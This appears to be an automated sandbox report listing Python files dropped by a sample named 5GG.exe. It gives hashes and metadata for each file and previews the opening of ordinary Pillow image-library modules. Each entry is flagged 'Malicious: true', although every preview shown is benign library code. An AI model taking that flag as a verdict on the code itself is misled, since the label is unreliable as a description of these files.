Preview:	#..# The Python Imaging Library...# $Id$..#..# IFUNC IM file handling for PIL..#..# history:..# 1995-09-01 fl Created...# 1997-01-03 fl Save palette images..# 1997-01-08 fl Added sequence support..# 1997-01-23 fl Added P and RGB save support..# 1997-05-31 fl Read floating point images..# 1997-06-22 fl Save floating point images..# 1997-08-27 fl Read and save 1-bit images..# 1998-06-25 fl Added support for RGB+LUT images..# 1998-07-02 fl Added support for YCC images..# 1998-07-15 fl Renamed offset attribute to avoid name clash..# 1998-12-29 fl Added I;16 support..# 2001-02-17 fl Use 're' instead of 'regex' (Python 2.1) (0.7)..# 2003-09-26 fl Added LA/PA support..#..# Copyright (c) 1997-2003 by Secret Labs AB...# Copyright (c) 1995-2001 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import os..import re....from . import Image, ImageFile, ImagePalette....# ------------------------

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\Image.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	138424
Entropy (8bit):	4.515778854005353
Encrypted:	false
SSDEEP:	3072:sGibBfQm/qqZ9Utv4DEtrb5RxXiZ6/DCpRQ9RZub0UMcduZ4:PibBfQUqqZ9O4DEtrb5RxXiZ6b+RQ9R8
MD5:	04BDC93C512B8110A9EFCC18BAD3C0E4
SHA1:	B9C55C9621B8C1C69B67F3183B056D330D6C6ECB
SHA-256:	B85EB19CB8E9F63D4D2AE987A57ED93095009EDDBE2A0485D58363A2EE15D268
SHA-512:	18DE5D46F3B0AA197FC3ACA1844C0F94400B117016C44F8B63C95098359660C6F6235250E2D9DD5E1703FF61262C661464E3EAB5E22DA19B1E16AAD0ADA3C050
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# the Image class wrapper..#..# partial release history:..# 1995-09-09 fl Created..# 1996-03-11 fl PIL release 0.0 (proof of concept)..# 1996-04-30 fl PIL release 0.1b1..# 1999-07-28 fl PIL release 1.0 final..# 2000-06-07 fl PIL release 1.1..# 2000-10-20 fl PIL release 1.1.1..# 2001-05-07 fl PIL release 1.1.2..# 2002-03-15 fl PIL release 1.1.3..# 2003-05-10 fl PIL release 1.1.4..# 2005-03-28 fl PIL release 1.1.5..# 2006-12-02 fl PIL release 1.1.6..# 2009-11-15 fl PIL release 1.1.7..#..# Copyright (c) 1997-2009 by Secret Labs AB. All rights reserved...# Copyright (c) 1995-2009 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#....from __future__ import annotations....import atexit..import builtins..import io..import logging..import math..import os..import re..import struct..import sys..import tempfile..import warnings..from collections.abc import Callable, MutableMapping..from

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageChops.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8257
Entropy (8bit):	4.808730639458188
Encrypted:	false
SSDEEP:	192:puLy5fFv9+HC5j6PsUEyg5euXPa3IJCjmGuscoFOVBoli:pYHxCedF+B/
MD5:	BFA2D7862D0DF67D436761C140DF0D3D
SHA1:	CC84183247BBD3EDE0120BC27493B6EB195824F8
SHA-256:	859F043D43E5408CEE82C11E755F2DAE4297D230420C66FA0ACCE66BA65E3194
SHA-512:	198662B53B6CCED9717839C0D3976C9552369B252A41AA3F1EFD4D943EA15A515DA1865D2589083C40616093B0E7E61210588B2EDDDF317CC60614ED56C9CC88
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# standard channel operations..#..# History:..# 1996-03-24 fl Created..# 1996-08-13 fl Added logical operations (for "1" images)..# 2000-10-12 fl Added offset method (from Image.py)..#..# Copyright (c) 1997-2000 by Secret Labs AB..# Copyright (c) 1996-2000 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#....from __future__ import annotations....from . import Image......def constant(image: Image.Image, value: int) -> Image.Image:.. """Fill a channel with a given gray level..... :rtype: :py:class:`~PIL.Image.Image`.. """.... return Image.new("L", image.size, value)......def duplicate(image: Image.Image) -> Image.Image:.. """Copy a channel. Alias for :py:meth:`PIL.Image.Image.copy`..... :rtype: :py:class:`~PIL.Image.Image`.. """.... return image.copy()......def invert(image: Image.Image) -> Image.Image:.. """.. Invert an image (channel). ::.... out = MAX - imag

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageCms.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	38188
Entropy (8bit):	4.757958877198222
Encrypted:	false
SSDEEP:	768:8xs/kxwuhKqR8dKRPEqH1hhRXQ1NGG/crH:8x1wgZfRsqH1FXQ1NGG/cb
MD5:	30D45761D2577E5B257FC39E7E19FF0A
SHA1:	613D631918A30FCFAE620F30A960635B1ED82AFD
SHA-256:	C2DD3A2985C2AA52ED3C06D372DE17FA1F6393E2067A492448B43DF1FFC7CA65
SHA-512:	51701C5D705A5AE493CE576FD2A7C7C89B8DD84481447703413B0F508CF6D00ACFFA621F97C3446BBF0F35C5632B2279A0548280E2B1AAE52061A57041A202EA
Malicious:	true
Preview:	# The Python Imaging Library...# $Id$....# Optional color management support, based on Kevin Cazabon's PyCMS..# library.....# History:....# 2009-03-08 fl Added to PIL.....# Copyright (C) 2002-2003 Kevin Cazabon..# Copyright (c) 2009 by Fredrik Lundh..# Copyright (c) 2013 by Eric Soroos....# See the README file for information on usage and redistribution. See..# below for the original description...from __future__ import annotations....import sys..from enum import IntEnum....from . import Image....try:.. from . import _imagingcms..except ImportError as ex:.. # Allow error import for doc purposes, but error out when accessing.. # anything in core... from ._util import DeferredError.... _imagingcms = DeferredError.new(ex)....DESCRIPTION = """..pyCMS.... a Python / PIL interface to the littleCMS ICC Color Management System.. Copyright (C) 2002-2003 Kevin Cazabon.. kevin@cazabon.com.. https://www.cazabon.com.... pyCMS home page: https://www.cazabon.com/pyCM

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageColor.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9490
Entropy (8bit):	4.935832477277378
Encrypted:	false
SSDEEP:	96:RxVOLf+TlR2F98HXRoG2juBXnRHRHGoIy/mj/oy8hqhKUVV51kCKZftdHNwVT0pS:Bme3T5RxHGk/mn8hkWCKZzQTMvf1nU
MD5:	3A92743F8F67C4DA2143D3D54314FA5A
SHA1:	D1AD49B266AFBF65DF359376E0C8D38F9C3EEED4
SHA-256:	E0461DEED7F2B1B7C10805B6454382B0EF9A38E29A1050B279C256C0351CD5EA
SHA-512:	594BE56666BFA2BEF4C29CBB521DA6B5DC5D1217F1B0E9CF3BFA5F0D4F9CE48A6A7A1223B4ED79CA174E61A698F413BEF7CFE795CC550DB4E2925F30515ED345
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# map CSS3-style colour description strings to RGB..#..# History:..# 2002-10-24 fl Added support for CSS-style color strings..# 2002-12-15 fl Added RGBA support..# 2004-03-27 fl Fixed remaining int() problems for Python 1.5.2..# 2004-07-19 fl Fixed gray/grey spelling issues..# 2009-03-05 fl Fixed rounding error in grayscale calculation..#..# Copyright (c) 2002-2004 by Secret Labs AB..# Copyright (c) 2002-2004 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import re..from functools import lru_cache....from . import Image......@lru_cache..def getrgb(color):.. """.. Convert a color string to an RGB or RGBA tuple. If the string cannot be.. parsed, this function raises a :py:exc:`ValueError` exception..... .. versionadded:: 1.1.4.... :param color: A color string.. :return: ``(red, green, blue[, alpha])``.. """.. if len(color) > 10

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageDraw.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	37500
Entropy (8bit):	4.232669557009204
Encrypted:	false
SSDEEP:	768:yh5AJzyCYFdKJJ4+eD3I6FXDWO+3AsgCxP3Asigi8LKsUp4:y/AJQKJJq46Fyr9i8LKsx
MD5:	026BDFF3DF7598293454E69BB000BE44
SHA1:	D92491731E1B130D9F0AC85C26E1165B0EA718A4
SHA-256:	4BA6315CE39F03FA204213E5AED00C082135D2958A32F0E69391C51558686080
SHA-512:	3CC81578C4817FDB6008AA48AC522C764C0A2040C153DE30649E1B272F3D768A2844F659D963EB938481E174B6910BB4C0EC7945468D4C2345EC92EDD6E753B7
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# drawing interface operations..#..# History:..# 1996-04-13 fl Created (experimental)..# 1996-08-07 fl Filled polygons, ellipses...# 1996-08-13 fl Added text support..# 1998-06-28 fl Handle I and F images..# 1998-12-29 fl Added arc; use arc primitive to draw ellipses..# 1999-01-10 fl Added shape stuff (experimental)..# 1999-02-06 fl Added bitmap support..# 1999-02-11 fl Changed all primitives to take options..# 1999-02-20 fl Fixed backwards compatibility..# 2000-10-12 fl Copy on write, when necessary..# 2001-02-18 fl Use default ink for bitmap/text also in fill mode..# 2002-10-24 fl Added support for CSS-style color strings..# 2002-12-10 fl Added experimental support for RGBA-on-RGB drawing..# 2002-12-11 fl Refactored low-level drawing API (work in progress)..# 2004-08-26 fl Made Draw() a factory function, added getdraw() support..# 2004-09-04 fl Added width support to line primitive..# 2004-09-10 fl Added fo

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageDraw2.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5728
Entropy (8bit):	4.634719649740773
Encrypted:	false
SSDEEP:	96:RxJNYZYZCIFcG+mIvA3wiKHCoWah4cA8UI3Rqz2SYm+D:DlGGIZFRqBG
MD5:	2FFB678CAED917706F150B617E076FF1
SHA1:	D5032DC685D09E47B9A14681EC6A8967F8AF6896
SHA-256:	C5F6FBFE4EEEEAB71651401DC829C3C0BD6C6819AF27960310F0D43673C018C5
SHA-512:	642E216CE5AA2A95928274CD85CF9A96EC69FC7EBA6CFB723006177201B7876E2AF9774F708AD41389461809800BDC49F9C7BE2E3CC32B7F02973B6E62768F87
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# WCK-style drawing interface operations..#..# History:..# 2003-12-07 fl created..# 2005-05-15 fl updated; added to PIL as ImageDraw2..# 2005-05-15 fl added text support..# 2005-05-20 fl added arc/chord/pieslice support..#..# Copyright (c) 2003-2005 by Secret Labs AB..# Copyright (c) 2003-2005 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#......"""..(Experimental) WCK-style drawing interface operations...... seealso:: :py:mod:`PIL.ImageDraw`.."""..from __future__ import annotations....from . import Image, ImageColor, ImageDraw, ImageFont, ImagePath......class Pen:.. """Stores an outline color and width.""".... def __init__(self, color, width=1, opacity=255):.. self.color = ImageColor.getrgb(color).. self.width = width......class Brush:.. """Stores a fill color""".... def __init__(self, color, opacity=255):.. self.color = ImageColor.getrgb(color)......class Fo

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageEnhance.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3329
Entropy (8bit):	4.625344144320948
Encrypted:	false
SSDEEP:	96:RjmQAPZ36kMmEmvATnmlrGNpVTmQzNZemK2N9:MhIPH
MD5:	E9FAAD2F02E2E2E346B79112AD9D4B67
SHA1:	F1787753DF8DD68BC40DF70DB655EE850CAA7602
SHA-256:	66A13F47B8996B10CEB95F58D2D6926A49A8C8FFACE312793A2CD2741821FB43
SHA-512:	29BFC578BDBC837D5F07D256A4AAF78D9EF098E75522D99EF7F84F86AD7FA8EFE868F0230AB29FB1F3BE4E4064CF8CC8A443AC9A518E4A9C65FF9417FDBB0E2E
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# image enhancement classes..#..# For a background, see "Image Processing By Interpolation and..# Extrapolation", Paul Haeberli and Douglas Voorhies. Available..# at http://www.graficaobscura.com/interp/index.html..#..# History:..# 1996-03-23 fl Created..# 2009-06-16 fl Fixed mean calculation..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1996...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image, ImageFilter, ImageStat......class _Enhance:.. def enhance(self, factor):.. """.. Returns an enhanced image..... :param factor: A floating point value controlling the enhancement... Factor 1.0 always returns a copy of the original image,.. lower factors mean less color (brightness, contrast,.. etc), and higher values more. There are no restrictions..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageFile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	25140
Entropy (8bit):	4.283430994377014
Encrypted:	false
SSDEEP:	384:D5NglCV/xB/GPpwsVwPDm7ETlER2dyzaETubE7TnaWTaTjSyNN6VPz:D5Z/yRwsVY9YpeWWfmVPz
MD5:	173A4B983F26322450236D1C51C77A63
SHA1:	49F79A5D1FBFE3E520AB947A58212DD7276D05B7
SHA-256:	331054EEB6C0D1B9EAEA62445B857862A24DBA4F0A9D4C0FE4190D02BC20E15D
SHA-512:	A871F9D0AEA41085F38FC863AB2941C7D4F0E3CADCD77527A9A3DC12F44DE7FF21019248155499E1C96EFB61A1D0503272BFE09313E2F5F5A1132E8499F4894E
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# base class for image file handlers..#..# history:..# 1995-09-09 fl Created..# 1996-03-11 fl Fixed load mechanism...# 1996-04-15 fl Added pcx/xbm decoders...# 1996-04-30 fl Added encoders...# 1996-12-14 fl Added load helpers..# 1997-01-11 fl Use encode_to_file where possible..# 1997-08-27 fl Flush output in _save..# 1998-03-05 fl Use memory mapping for some modes..# 1999-02-04 fl Use memory mapping also for "I;16" and "I;16B"..# 1999-05-31 fl Added image parser..# 2000-10-12 fl Set readonly flag on memory-mapped images..# 2002-03-20 fl Use better messages for common decoder errors..# 2003-04-21 fl Fall back on mmap/map_buffer if map is not available..# 2003-10-30 fl Added StubImageFile class..# 2004-02-25 fl Made incremental parser more robust..#..# Copyright (c) 1997-2004 by Secret Labs AB..# Copyright (c) 1995-2004 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..fro

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageFilter.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	17711
Entropy (8bit):	4.43541449354652
Encrypted:	false
SSDEEP:	384:4KtwjvdPonGWd3ztYoULo3sfn0qRDCuJau/flYdH84MbsBr2yt30jnyojh7cncyp:4KtwjvtonzlzC03sfn0qRDCoagflYdHR
MD5:	09726FE2CFC1C2F900F1A7B5879EE434
SHA1:	AB174A79C6D419B39623CA341DA9B136AAAB819B
SHA-256:	F3BF0303C09CFDA5C61C9C9F22279DEDEBF907A582213EA9ABC6644AFE004C8F
SHA-512:	C06016EACFFD6E7BCEBF80D09EAFD5C7087B37F1548458FA916573BF5C50BDFABA1C4710497EDCCD37F1F94981E64A40956286532085C6C34A2BDAD5950AA64C
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# standard filters..#..# History:..# 1995-11-27 fl Created..# 2002-06-08 fl Added rank and mode filters..# 2003-09-15 fl Fixed rank calculation in rank filter; added expand call..#..# Copyright (c) 1997-2003 by Secret Labs AB...# Copyright (c) 1995-2002 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import functools......class Filter:.. pass......class MultibandFilter(Filter):.. pass......class BuiltinFilter(MultibandFilter):.. def filter(self, image):.. if image.mode == "P":.. msg = "cannot filter palette images".. raise ValueError(msg).. return image.filter(*self.filterargs)......class Kernel(BuiltinFilter):.. """.. Create a convolution kernel. The current version only.. supports 3x3 and 5x5 integer and floating point kernels..... In the current version, kernels can only be applied to.. "L" a

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageFont.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	62104
Entropy (8bit):	5.0688208863983215
Encrypted:	false
SSDEEP:	768:+qJlXeIcOvKMgy/3/7lJ5qB7FLHFCh8WFriDNQQZiC3MzVzpf6:+ml/lJ5WZHUFGpQQUimzpi
MD5:	0D07AABB5A5E8C132930564D69BC5141
SHA1:	E47A1DDCEC96182CD0FC87E39BFE69F65C899A5D
SHA-256:	6C5B52801D86BF1605517702C8703D0C4962EADDD976FDC1AD300247077B6955
SHA-512:	23E4DE891024A2ED4E7378E85795AEDE4E09BEFB52AF36CB8076EEF8633C2F1200BC2E9934DE8BD42E8150F51A51D89ED5D9A9609738862DCF3FB3F427A52295
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# PIL raster font management..#..# History:..# 1996-08-07 fl created (experimental)..# 1997-08-25 fl minor adjustments to handle fonts from pilfont 0.3..# 1999-02-06 fl rewrote most font management stuff in C..# 1999-03-17 fl take pth files into account in load_path (from Richard user)..# 2001-02-17 fl added freetype support..# 2001-05-09 fl added TransposedFont wrapper class..# 2002-03-04 fl make sure we have a "L" or "1" font..# 2002-12-04 fl skip non-directory entries in the system path..# 2003-04-29 fl add embedded default font..# 2003-09-27 fl added support for truetype charmap encodings..#..# Todo:..# Adapt to PILFONT2 format (16-bit fonts, compressed, single file)..#..# Copyright (c) 1997-2003 by Secret Labs AB..# Copyright (c) 1996-2003 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#....from __future__ import annotations....import base64..import os..import sys..import wa

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageGrab.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5808
Entropy (8bit):	4.390038971475034
Encrypted:	false
SSDEEP:	96:Rxhm514I4D2JkMOTHW6yD2K4FOT9m9UOIplOjLz2+WjTCoVkFjIaO/:FAV0Ty7TntAj++YTCY9/
MD5:	0EB8E82BD824D4F9893E3E1E2FB86620
SHA1:	4699FBAC09C700E5E59A41340BA598F43FD85453
SHA-256:	ED407BA7CAD4CEF866FBAB4EC99A0774C28B068A1D79C577C14FD85430EE89AE
SHA-512:	BA29ED0F3A330A95139C018D61C6CBB2E850C5F63842D9EDE7A91EDEDEC71C4BB7C17E7A85631FD72C995B09C9D43A6E4E5430824E8DF8D33D4B85DE492E9CAC
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# screen grabber..#..# History:..# 2001-04-26 fl created..# 2001-09-17 fl use builtin driver, if present..# 2002-11-19 fl added grabclipboard support..#..# Copyright (c) 2001-2002 by Secret Labs AB..# Copyright (c) 2001-2002 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import io..import os..import shutil..import subprocess..import sys..import tempfile....from . import Image......def grab(bbox=None, include_layered_windows=False, all_screens=False, xdisplay=None):.. if xdisplay is None:.. if sys.platform == "darwin":.. fh, filepath = tempfile.mkstemp(".png").. os.close(fh).. args = ["screencapture"].. if bbox:.. left, top, right, bottom = bbox.. args += ["-R", f"{left},{top},{right-left},{bottom-top}"].. subprocess.call(args + ["-x", filepath]).. im = I

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageMath.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7774
Entropy (8bit):	4.533113729724946
Encrypted:	false
SSDEEP:	96:RxGaVuOd4C07AbZ5BtcqxewcHuD+tqYKzLRVmMRgk8NniFsD4Rld74176e0/L:qPAbcqZLDEqYoLRDRRqii8RE1ueoL
MD5:	B81AE3CFD0394B07DA8C310B7997F2E1
SHA1:	41B6649E4D79D1572CA90CE0D117F68674CA59FC
SHA-256:	8FC00177BA6803B1E819F43B8D99931B77A14C88018CBBD295C09D1BF9DE2F16
SHA-512:	B02B935AA0D13DEBF0CD692473DBE348FB393EBB01B30C95F9DA87DFC999925EF8C4DBEE1F8763FE555226CCE61C969C39675381A9BEC8BE36697FB4163AD24C
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# a simple math add-on for the Python Imaging Library..#..# History:..# 1999-02-15 fl Original PIL Plus release..# 2005-05-05 fl Simplified and cleaned up for PIL 1.1.6..# 2005-09-12 fl Fixed int() and float() for Python 2.4.1..#..# Copyright (c) 1999-2005 by Secret Labs AB..# Copyright (c) 2005 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import builtins....from . import Image, _imagingmath......class _Operand:.. """Wraps an image operand, providing standard operators""".... def __init__(self, im):.. self.im = im.... def __fixup(self, im1):.. # convert image to suitable mode.. if isinstance(im1, _Operand):.. # argument was an image... if im1.im.mode in ("1", "L"):.. return im1.im.convert("I").. elif im1.im.mode in ("I", "F"):.. return im1.im.. else:.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageMode.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2866
Entropy (8bit):	4.658448972098878
Encrypted:	false
SSDEEP:	48:RqKKqbkQRyFUmP4xGwRr8LOY3KOsdt9d7B8mjfbKELj0Tm6U228WgRcoo6nwaa+e:RjKu4FuxF8LOwsbb/SmJ6nwaa+sLYzgJ
MD5:	5E8EA116E7701F6E3C097B46AB7F2B7E
SHA1:	28CEB83164114CB620141E881C62135FE3001656
SHA-256:	5CC087D324BE66C94250AA39FE130E9830ABFBF7B4F0E66E3E14D01826EA4B76
SHA-512:	D6137D4343B598F789167EF708CAF05D7059369F751955667B728B84ADB087238A6A996BC1FB4688FF1C11AD1230D9110DB539E6CBFDFBE7D0E8AE37570C7C79
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# standard mode descriptors..#..# History:..# 2006-03-20 fl Added..#..# Copyright (c) 2006 by Secret Labs AB...# Copyright (c) 2006 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import sys..from functools import lru_cache......class ModeDescriptor:.. """Wrapper for mode strings.""".... def __init__(.. self,.. mode: str,.. bands: tuple[str, ...],.. basemode: str,.. basetype: str,.. typestr: str,.. ) -> None:.. self.mode = mode.. self.bands = bands.. self.basemode = basemode.. self.basetype = basetype.. self.typestr = typestr.... def __str__(self) -> str:.. return self.mode......@lru_cache..def getmode(mode: str) -> ModeDescriptor:.. """Gets a mode descriptor for the given mode.""".. # initialize mode cache.. endian = "<" if sys.byteorder == "little" else

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageMorph.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8267
Entropy (8bit):	4.472461261752066
Encrypted:	false
SSDEEP:	96:HKA9q+gidqFBfSr3KrPnM6WFWd5O50CSbG3RPROR8WFBJqp5mISHb:q1+gUq06b+SCSbGNWZO1S7
MD5:	72BABED5122EC0F563B0BA3388A683B4
SHA1:	6174639CC98788369CF19F786AE06C918CF5C2A1
SHA-256:	61F9641B25FC5C9257474722C57C673F9DAD464BD4ADB5D5224E0B5F16FC189B
SHA-512:	37C94026C12F0F6300C428F81E72CED94AD23987BDEF31A5B1C8882E9620E610E3F343F8E28909C5EDCB64B41201C7FB5F083CD6CB53AA4F544D84F5A7CA857A
Malicious:	true
Preview:	# A binary morphology add-on for the Python Imaging Library..#..# History:..# 2014-06-04 Initial version...#..# Copyright (c) 2014 Dov Grobgeld <dov.grobgeld@gmail.com>..from __future__ import annotations....import re....from . import Image, _imagingmorph....LUT_SIZE = 1 << 9....# fmt: off..ROTATION_MATRIX = [.. 6, 3, 0,.. 7, 4, 1,.. 8, 5, 2,..]..MIRROR_MATRIX = [.. 2, 1, 0,.. 5, 4, 3,.. 8, 7, 6,..]..# fmt: on......class LutBuilder:.. """A class for building a MorphLut from a descriptive language.... The input patterns is a list of a strings sequences like these::.... 4:(..... .1... 111)->1.... (whitespaces including linebreaks are ignored). The option 4.. describes a series of symmetry operations (in this case a.. 4-rotation), the pattern is described by:.... - . or X - Ignore.. - 1 - Pixel is on.. - 0 - Pixel is off.... The result of the operation is described after "->" string..... The default is to return

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageOps.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	23113
Entropy (8bit):	4.580347724589405
Encrypted:	false
SSDEEP:	384:V7TkI4c8fKZj4uNg0q0pj2pOizDTubJc6keAxg0w3sB3NkkDM14I0MP+:VEzfSFp6pJHubOnLLw3UNTM1rNP+
MD5:	AAF0ACAB129EC12A9F14141A02AB652F
SHA1:	14C861597CCFD192B401513DB122C83E573A3887
SHA-256:	9D047385462C211F48F13F5146E80B67739E6369B2A5365241D8DE76B01319EA
SHA-512:	CC4EAA2B47A65B183C7C1D5E9FAF8AA0FF8A70B61F50717EDBAA0E7CCC89E1978BA35C6718EEA05FACC9164E11BE997244E20EA0F5F9C2E4CE9D231CF4A45B83
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# standard image operations..#..# History:..# 2001-10-20 fl Created..# 2001-10-23 fl Added autocontrast operator..# 2001-12-18 fl Added Kevin's fit operator..# 2004-03-14 fl Fixed potential division by zero in equalize..# 2005-05-05 fl Fixed equalize for low number of values..#..# Copyright (c) 2001-2004 by Secret Labs AB..# Copyright (c) 2001-2004 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import functools..import operator..import re....from . import ExifTags, Image, ImagePalette....#..# helpers......def _border(border):.. if isinstance(border, tuple):.. if len(border) == 2:.. left, top = right, bottom = border.. elif len(border) == 4:.. left, top, right, bottom = border.. else:.. left = top = right = bottom = border.. return left, top, right, bottom......def _color(color, mode):.. if isinst

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImagePalette.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8025
Entropy (8bit):	4.41518162061756
Encrypted:	false
SSDEEP:	192:FlpjNo6C/+t6swj320JgWI30CyOz7T8qRq6ETCIE+y:FlFC6C/u6swj320JgZ30CnvYp6Wo
MD5:	D8A1B3EC8B0A19D9D91789FEDBF638EA
SHA1:	C0EFE785271C0B0A55CF13E80D728FA579FC28E1
SHA-256:	07280C632D58FE181039927CA0A1E2F58657EFC54359BDA450E7B13C9D1C1069
SHA-512:	10C69E2221282B2B32163BB110F734AF96B1F2A71F5018E4F972D960DB642E8346250C8755B7A60DBE77976E6F3BB129F245D4268282DC873D0F36F42BF11F13
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# image palette object..#..# History:..# 1996-03-11 fl Rewritten...# 1997-01-03 fl Up and running...# 1997-08-23 fl Added load hack..# 2001-04-16 fl Fixed randint shadow bug in random()..#..# Copyright (c) 1997-2001 by Secret Labs AB..# Copyright (c) 1996-1997 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import array....from . import GimpGradientFile, GimpPaletteFile, ImageColor, PaletteFile......class ImagePalette:.. """.. Color palette for palette mapped images.... :param mode: The mode to use for the palette. See:.. :ref:`concept-modes`. Defaults to "RGB".. :param palette: An optional palette. If given, it must be a bytearray,.. an array or a list of ints between 0-255. The list must consist of.. all channels for one color followed by the next color (e.g. RGBRGBRGB)... Defaults to an empty palette... """.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImagePath.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	391
Entropy (8bit):	5.00380416556163
Encrypted:	false
SSDEEP:	12:nRqzC1RJ26xymYuCxcoobaeYFuNRjPeBm0g9:nRqu1b20tYrcoobkuNRj30E
MD5:	832FEF7BECE9119D300E325A0122DF14
SHA1:	B1AAF9D950E1AD5D90795DBDA9F135BA20E529D5
SHA-256:	6679C9BAF40DB5B2918429ABEB54C4984875BD5579FFDD163043CBF0EA72E65F
SHA-512:	5A7C5B74095A32C665076B131821E6D5B4EEFBB06A778830152BDCC51349F7633A6702ED45B9E2D246B88C87EBE18FE3D54B182EF8B016EE71DE8057642D6D19
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# path interface..#..# History:..# 1996-11-04 fl Created..# 2002-04-14 fl Added documentation stub class..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1996...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image....Path = Image.core.path..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\ImageQt.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
